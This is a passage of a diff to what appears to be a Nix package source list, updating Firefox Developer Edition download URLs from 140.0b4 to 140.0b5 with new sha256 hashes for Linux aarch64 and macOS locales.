+      sha256 = "5b2155b0e7f61b4bb008dac5a91cfbc373ecf72c8bced76773bcc78bb75e6f1c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/sk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/sk/firefox-140.0b5.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "c4862d30d0cf9450be66cc38213d90c300196bf98b361bfb39fc9d1c4748b2b3";
+      sha256 = "8e5217e5796f746ac6fd99c9b87982e20c70910a15f2e05531d0093ece37da6d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/skr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/skr/firefox-140.0b5.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "1702eda3a78cffb1df602d1443fa885a575382b5f5b27fbde44fe26b4b3ca7c5";
+      sha256 = "1fae131ac8dcf6aff16717e0f681cec5621a1952d0d13928ec4ec1f4a923af02";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/sl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/sl/firefox-140.0b5.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "57dac174f3a82d01f4ddabc28ab47d063f6cff823bf96394aa15b84acc026f03";
+      sha256 = "44e9aeeb682f91ce60571732aaad6e94a2231c2660029ca741707d49f4d2d41d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/son/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/son/firefox-140.0b5.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "02aa9292bc7bb008ce7b3a4c71b7418578c58b45a86397375263ae004c6bdc3c";
+      sha256 = "0e4fe06cbb4e9678d59ab2568d4e1fb7d6dfb388c7dfc55c918405d975c45a68";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/sq/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/sq/firefox-140.0b5.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "bda64253568603f6bc9edea913748bcee053ff0ff95ea0e7b1fe52960e234f24";
+      sha256 = "21d94ec8f62ff82e72c5b249506f9d2cf735f96ef9ba92575630353d14edc0da";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/sr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/sr/firefox-140.0b5.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "92fbca93a60dc3f35da2427b2a89185efe0090306df4cace4c025683e13ab7ad";
+      sha256 = "7bcb3e71959b65fb29974cce8169f2ad151475d7f9788c9e22c0b32f7e012c5f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/sv-SE/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/sv-SE/firefox-140.0b5.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "ee6be5ad07e13e990c448e19b43a244a15bdd7ea59375ff4ad894ec75dd639bd";
+      sha256 = "9a8b15f4813305901df5482b7873dd9f6e6cb6377aafbcc3186a769f7ed8383b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/szl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/szl/firefox-140.0b5.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "fc481f234c13d42a06dcb6d32a7d092e12113ba15535844a781bf49ed7149781";
+      sha256 = "16c007db8ae7cf01f08fbab1f8f8fc974a65aa5d85dba39eed0c2170e0ad1411";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ta/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ta/firefox-140.0b5.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "082bb72187b9ecd8911051c27a0357ad83fc859a351bc6f48fec4d61961e9b68";
+      sha256 = "924fe10a4ec038dfac1f10a445f88bb16d13d2d9e572e34a454654b622a11ac7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/te/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/te/firefox-140.0b5.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "13303d06a49825000e7368e8416e38fcbc41f8c9f795b2af6bf836b4f7c65915";
+      sha256 = "fe73e00623af2142be1986748602ffd4b4a809285d6b36131be723dff691067f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/tg/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/tg/firefox-140.0b5.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "351c468bb51665019393083c834ffb5903b1fbebdbda2560fa233db179bee441";
+      sha256 = "557792ef8ed1e0ecd81fdaaf21c176f5b8a1b2c90d7ed0bc322792020e2d6898";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/th/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/th/firefox-140.0b5.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "f1b2dd8e921d8eebc6bd10b22aca1ce4a48818dba830cae131cf8fe7704e7c6c";
+      sha256 = "0fbe64c99655b66c8b6c17bbc63c6e3a4ed3e44bbd635077a641fa0e05eb4c3c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/tl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/tl/firefox-140.0b5.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "8e5dacac1a85e5d6aaccd9939aec63143d1688a657e5dc5f0f4ebfe1094acbe5";
+      sha256 = "ebbf21cbea61c110f81ad452989691b81ed2bf830ad7946e51f3f39c2b43df0f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/tr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/tr/firefox-140.0b5.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "14ea2292bc55272d784a0f7d8dc8827502f352665c8652d4251f83cd3e2a6fbc";
+      sha256 = "3649d99ec7c366e1fbde17ad18282ebe05486cf178a3e59f57caa58dde6ef0bc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/trs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/trs/firefox-140.0b5.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "3e834c1967efc38e6377fb6e91a40e258b4d3e99561e7d06e7239da0b6db0e6d";
+      sha256 = "ca03e8b17cd5fb3b52d0de8b80c83299d0d90497c758442d60914cf1dd7661fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/uk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/uk/firefox-140.0b5.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "0cc79f9b74dc4b8bc52a004e6a299dc7c3067edf51af894a9ef93ff865375daf";
+      sha256 = "5c18f39c0ba60ba060213f8b72266663d97258dffa0453a071c7810954adc320";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/ur/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/ur/firefox-140.0b5.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "ff89b979a9bb6e97b71386c492d0e3ae05097cd21ca4388f6db28ba441bee705";
+      sha256 = "011b35f3ddae4f2dee8424731d41157008409cf3c19184429ef6a83a198975f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/uz/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/uz/firefox-140.0b5.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "69943a4fdb5137baa73fd3c884cc7d2c4c8d3d3c42103fdb4590aec34206df15";
+      sha256 = "ef25f008c7ab6bb046a46d57e93c0015a7189e7fd72684c218a0992f806005a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/vi/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/vi/firefox-140.0b5.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "0c6b0bb20622e3e181148deecd505c22ce7d3eb70cb3bf89fc234ccdd84384bb";
+      sha256 = "81978010063f3d9bf9cef6719592f5fbb41c64826bb68f658547826e92c9d1d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/xh/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/xh/firefox-140.0b5.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "fb13b9888715720ceca991f449e47ed05154f29f080bfe4c99ee494ac92cf86d";
+      sha256 = "7409e9898935f78bb6762f76a68662ac64086868b89f5e52940e2e3a963e9637";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/zh-CN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/zh-CN/firefox-140.0b5.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "fa37aa2739232658cb0d947f15ba2839c8b28debb0d3bafae1805a8fc065580a";
+      sha256 = "91172a1bd8722fc67e12f968a51f5d383f9a0bd3d40b4ad56c63e1316d5156fd";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/linux-aarch64/zh-TW/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/linux-aarch64/zh-TW/firefox-140.0b5.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "7d300dfc2bf2effa515b05c7e8f51c9c3388024a311c6da9fed1d463bd1946f7";
+      sha256 = "804adf3d4db86537174d2c680daff8df249909d8254e1e5583ac1c0d7a3a5d61";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ach/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ach/Firefox%20140.0b5.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "fcc7f8310a689c595c387709685af98b4acc71d02ebf83b4b88a5747d15e7bec";
+      sha256 = "9cb867c92c058f81bb6b7777740f0904cf8610cfe48640b4ba788bec42712cf9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/af/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/af/Firefox%20140.0b5.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "92b2731ca8e8590d7f5c69e48ee196f4a0a34dceaac8eafc3773c15f7fee1d77";
+      sha256 = "5713bf29a1dae788af6a2308548c0a617841a338262b901d2d7e8e6c906a2a1d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/an/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/an/Firefox%20140.0b5.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "ca7e1a463cd090e64e798b6f6563e9751b1aa2d4b1227c500bb111c53b3fdee9";
+      sha256 = "24eb57bbd9af5800d8141f61db2b7abcd67afc40b35cebe9d6a606bac1170d01";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ar/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ar/Firefox%20140.0b5.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "f6944b6bd4b086efa5b60a0605709adc737ba1a4ecfa4e689e124331465eff76";
+      sha256 = "c256d4b3f0658d3d2534a2f99df78a9c8de4c6d9159052aff6d138220c2909a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ast/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ast/Firefox%20140.0b5.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "e834ba503dc7fdbdbdf69a516126cb16cdb089eddd1b2773e00c5cc0ff4d7658";
+      sha256 = "9d7008c2ba0142f14ba330a4561e5ba66a9729dffd094a56c0688eb0545d42f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/az/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/az/Firefox%20140.0b5.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "dd4a9c7d87b2e1af7f87b083910682967cafac68aa1c4c87f6b6dcc69bd0836c";
+      sha256 = "b999fc3eab4d3306607f916d7d19b8b380ffd62128b9eb70f8f184a0fe01932d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/be/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/be/Firefox%20140.0b5.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "e6c157e53ef0eabe645ede759f83bcb1e55d3d7da09fb29044edd7e1fd139de0";
+      sha256 = "9b295b314b77c345e91972574b3563cf85b020876abf0825b404b7840057d046";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/bg/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/bg/Firefox%20140.0b5.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "28d50138cca863ee4716f7be693950e468f5442b770dce389081caadb4e86fad";
+      sha256 = "3157128ca5cd17a0e1e38baa2bdf90322595751cdf51fc70201d9ce51a30c91c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/bn/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/bn/Firefox%20140.0b5.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "d16a2cfd1bf7602c22153b7de4b7f74485aaf78b09526985390f4d35783134cc";
+      sha256 = "a2493281741e7338b3e58294aa72a9b39afa0976c6f5db01a0077d95ec781f8e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/br/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/br/Firefox%20140.0b5.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "2e9649b9ea8d6da502ce86fcb6a9ed70a4472b58ec7f7a85ea7116c455b8744f";
+      sha256 = "9bbbb53e059cfb4fa06f60ea7c60cc2af7e4fc61579812f8fa9aec3474096f88";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/bs/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/bs/Firefox%20140.0b5.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "c566fa2adbbfacdb9779a99a7f925e5a6aa8be78afee2fcc9d082806a7a2998f";
+      sha256 = "539dcf035d240f794074b5fa7968d12c819d044f3bb8299aacf12dc0013ef34b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ca-valencia/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ca-valencia/Firefox%20140.0b5.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "c082e76a703f1d228f45199c0d37f17334720affdf83b9860b538b4fe0381f11";
+      sha256 = "97d6d7866c8d1fb14a57f926e322a9d4f3addb37fde7977a26dc882d1ac44a5b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ca/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ca/Firefox%20140.0b5.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "ffe9b9bfa9742d259b1da9675005c21a1018d865fc33eb3006a9757b7af9d9cf";
+      sha256 = "d21d03e2e4c44e5d0ac8d3b685232c1bf21ba52cdbbccad13016834bb735b306";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/cak/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/cak/Firefox%20140.0b5.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "d6b872285b7db3d977d06e37926250a0d142869c95d60673da38caaadafe6626";
+      sha256 = "a6bbbb0815a0e0a1a9e2ac65ff4847f8be81973a5f333e0130e412cf1f20dd75";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/cs/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/cs/Firefox%20140.0b5.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "e37322b24fe1d3248871314095726a8ee53616b102ddb12be11857fb9fb0c72a";
+      sha256 = "3363713cfe06c13a43a9682cb4ba4b5af198474122d0cb1e35c4979c29a6865c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/cy/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/cy/Firefox%20140.0b5.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "7859f61b331dd65d9f1e3b10919a9d442cdf8f1edf5419944a5a9ef92428e133";
+      sha256 = "18354d7d9de625afcb1c210903a18d06d35ab393f5bba56b2601cca90e1a19c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/da/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/da/Firefox%20140.0b5.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "7b50efe8bbafe360ceab31db923c61d196402f499bc86d2f402c11b879580581";
+      sha256 = "09f68ef5a82abba5a0d5c26bd42efb9811a4c8e8b05e3a2e68881f86114dd681";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/de/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/de/Firefox%20140.0b5.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "29f7864de3051dc8c63458a4291a03f5cab7c4f1cfcd038cd4cc097300d3fa32";
+      sha256 = "55207c58022b9de2580800ae7f7dcf8885d4e500196bec60ae7c3895650b8be2";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/dsb/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/dsb/Firefox%20140.0b5.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "5487cbd69515dde8e0205aaa6a8439e13e330ca55869a45f4d3b781d2d4b04f4";
+      sha256 = "f4e7f6644f58ed9dd5bd368be6c493542baf429d04694a41be716008b1e1cbdc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/el/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/el/Firefox%20140.0b5.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "f7c76d6d24897905a6578d58f19645b197d9d646bea1c9bcb499bbbeddd8e965";
+      sha256 = "56868683851c6f9acc8aaaa68db7d27aa37d8bd3897f765105ed4b834852c605";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/en-CA/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/en-CA/Firefox%20140.0b5.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "abf69c3363150980bd1c1a84cd3bdf2d39e4715805f11256a1db38e99e431bcd";
+      sha256 = "1cd3a2bee71bfd98480dbb185a83fad901654f5d2cbbc8b82451916123d5a477";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/en-GB/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/en-GB/Firefox%20140.0b5.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "cb9c91e78b00589aa06286af20540e0fb7fd99e045a602aa49353db5de84ae07";
+      sha256 = "0b52e0534c313ccb0b8ab92235a31d6a02e3d93ea0ed16d2226d6225f6c2e29c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/en-US/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/en-US/Firefox%20140.0b5.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "41074b15a8244ec003bde022c29f8bdfd9cc07b7761af8840380c5cd8deb07ab";
+      sha256 = "0e18a2d29400dec3e9285e69d40a6fcd68df1fa59b15aa1e838d97ee95b633e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/eo/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/eo/Firefox%20140.0b5.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "2b92b43fd83c02243e91d4be7a0a4f32b1ce5ab3f43d2eb98a177ea3fa8c0bde";
+      sha256 = "bffc32a0b380178016dccf7b737c7ac9a4b7eb92cd16105a0b3b18dffae63ad3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/es-AR/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/es-AR/Firefox%20140.0b5.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "5b4f1f32ed3ad38bc47b04faf68944b9c2eb04f85ac3b6f3653b526fb59dfdfb";
+      sha256 = "99dd4c2524cea56eb5a01d11f180a3e491878ceb4b4b85e2bdd5c351e3eed52c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/es-CL/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/es-CL/Firefox%20140.0b5.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "603f2ea427bfdfe79bc7087ea3774a4a1deeb8e446f53ea5483e3180e452d59a";
+      sha256 = "4eaf81cc55445d10bf5d6afe7060c7f673ceed66d26350104f7aef497621447d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/es-ES/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/es-ES/Firefox%20140.0b5.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "6364d2a4b7ea39d89f654abaae3a291577e74c8b0b764fbaabcbe0992f583159";
+      sha256 = "d2ba722e1a28cac2c99a8573364b264545777cac53839859218bd5d64400d568";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/es-MX/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/es-MX/Firefox%20140.0b5.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "b1690c817759405a79cbc6a50d616fbccde39cc0d99779ee4753603917c1e37e";
+      sha256 = "0674f00814c54795d93a362cb15f7d3037da3fae78098a1bcf569d10625f166d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/et/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/et/Firefox%20140.0b5.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "30b75291e563af62919b75273f442884c9a262fb2a4de542d53027de223f720c";
+      sha256 = "05e738277b188119d318de64b473a08a144253eb7f373d2a8c9519c546c327fe";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/eu/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/eu/Firefox%20140.0b5.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "2b338cf87087b7a4cd172b72a62a52507076088c0dcae1a9f63fe6c4722a6d11";
+      sha256 = "d1a098bccfac6bad61085d4d6e3ef07decef5665edc590a216b85d46d36f6380";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/fa/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/fa/Firefox%20140.0b5.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "5b1a5509577f307b24065b7f4e88c103306b9937c4d98e49cb9aba97abf2d3a8";
+      sha256 = "8443c7db3237c5a30ab9aeeb2084358a71a030a6d4dda51b4b3b274d8050bf09";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ff/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ff/Firefox%20140.0b5.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "cd5b37a95f414be5af6217ab5dcf983a7ffdcfa78e013b9216ed57f3f9d2a224";
+      sha256 = "3f6f2af196e3ea13d21b20739ad8d4afea28753e4a6f6911efd2889c3861ffb1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/fi/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/fi/Firefox%20140.0b5.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "866b567cb5471d434dddbcb58260291b99a322f67b6e203086762083f1967e7d";
+      sha256 = "404209bea1e3d2915445212b5f2ca2e448dec7adedfb4a9901eee0b175b0adb5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/fr/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/fr/Firefox%20140.0b5.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "f5393dcdbdb367bfaf0e1e47ce2a445add9fa265abb87a0c324daceec3a1d0fb";
+      sha256 = "2530f98106899fcb75ef098929d07cb467c8c89c497205874d2285e88f23945f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/fur/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/fur/Firefox%20140.0b5.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "e4ef81af4c352ac12a5a3fb3dd5a34dad3c9acf3ac639e20141694da8fbe8ec6";
+      sha256 = "c895f27121dc816cc26f849de1fa1a89221ef5df7d617f39b69d552afd08987a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/fy-NL/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/fy-NL/Firefox%20140.0b5.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "54be4106d429b1df2ef2d5e3861712f69ec348b47f9bb2565c191762beab8945";
+      sha256 = "e03b79439c2f497a0e8d87eea16ff659417d435454095e050f68f738e091644d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/ga-IE/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/ga-IE/Firefox%20140.0b5.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "ee229ef6fa1fe743d5364914c990172e39a9500c2968afc646bacf14a3eb8742";
+      sha256 = "1717510309b0dfed21485023db01b4f8531807f63ce6c14fc6c6342100fd6981";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/gd/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/gd/Firefox%20140.0b5.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "1164bff45a4c75283d70a1dfebf12dd0729275a1135be9710830f7a8eb28521b";
+      sha256 = "f555688aff2a86f6859be7f5ad862107b270e733b54bc6ab8de012628c232550";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b4/mac/gl/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b5/mac/gl/Firefox%20140.0b5.dmg";
       locale = "gl";
       arch = "mac";
